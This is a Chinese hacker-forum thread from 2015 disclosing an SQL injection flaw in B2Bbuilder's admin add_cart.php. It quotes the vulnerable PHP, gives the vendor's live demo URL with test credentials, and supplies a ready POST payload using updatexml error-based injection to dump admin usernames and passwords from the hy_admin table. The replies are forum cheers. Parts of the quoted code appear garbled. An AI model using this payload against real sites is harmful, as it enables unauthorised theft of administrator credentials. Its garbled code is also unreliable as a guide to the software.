C4r1st 发表于 2015-5-19 09:53:56

B2Bbuilder最新版sql注入

我们看到到module\buy\admin\add_cart.php
if(!empty($_POST["cat"])&&!empty($_GET["id"]))
{      
      $ext_table=$config['table_pre'].'defind_'.$_POST['ext_field_cat'];
      $_POST['ext_field_cat']*=1;
      
      if($_POST['pid']!=0)
      {
                if($_POST["pid"]!==substr($_GET['id'],0,strlen($_GET['id'])-2))
                {
                        $s=$_POST["pid"]."00";
                        $b=$_POST["pid"]."99";
                        $sql="select max(catid) as catid from $cat_table where catid>$s and catid<$b";
                        $db->query($sql);
                        $re=$db->fetchRow();
                        $id=$re["catid"];
                        if(!$id)
                              $id=$_POST["pid"]."01";
                        else
                              $id=$id+1;
                }
                else
                        $id=$_GET['id'];
                //编辑当前类别信息
                $sql="update $cat_table set catid='$id', cat='".$_POST['cat']."',isindex='".$isindex."'
                        ,pic='$_POST',brand='$_POST',ext_table='$ext_table',ext_field_cat='$_POST',template='$_POST' where catid='".$_GET['id']."'";
                $re=$db->query($sql);
                //如果当前类别下面带有子类别把子类别一起移过去
                $s=$_GET['id']."00";
                $b=$_GET['id']."99";
                $sql="update $cat_table set catid=replace(catid,$_GET,$id) where catid>=$s and catid<=$b";
                $re=$db->query($sql);
      }
只要满足!empty($_POST[“cat”])&&!empty($_GET[“id”]就会进入下面的流程。
然后$s为被单引号包裹，直接进入sql语句。然后造成sql注入。
我们用demo做测试

首先注册一个账号

http://democn.b2b-builder.com

账号密码都为test

然后构造

http://democn.b2b-builder.com/main.php?m=buy&s=admin/add_cat&id=111

其中post数据包为
cat=1&pid=1or updatexml(2,concat(0x7e,((select group_concat(user,0x5e,password) from hy_admin))),0) %23

云游者 发表于 2015-6-26 22:29:10

加油！干倒冰儿和酒仙！

08-wh 发表于 2015-6-27 00:47:50

支持中国红客联盟(ihonker.org)

Sty，涛 发表于 2015-6-27 01:36:02

加油！干倒冰儿和酒仙！

Lucifer 发表于 2015-6-27 04:59:52

加油！干倒冰儿和酒仙！

Sty，涛 发表于 2015-6-27 06:34:24

支持中国红客联盟(ihonker.org)

Micah 发表于 2015-6-27 17:50:57

加油！干倒冰儿和酒仙！

ljy07 发表于 2015-6-29 11:59:46

H.U.C-麦麦 发表于 2015-6-29 22:36:41

支持，看起来不错呢！

wilist 发表于 2015-6-30 16:12:31

支持，看起来不错呢！
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: B2Bbuilder最新版sql注入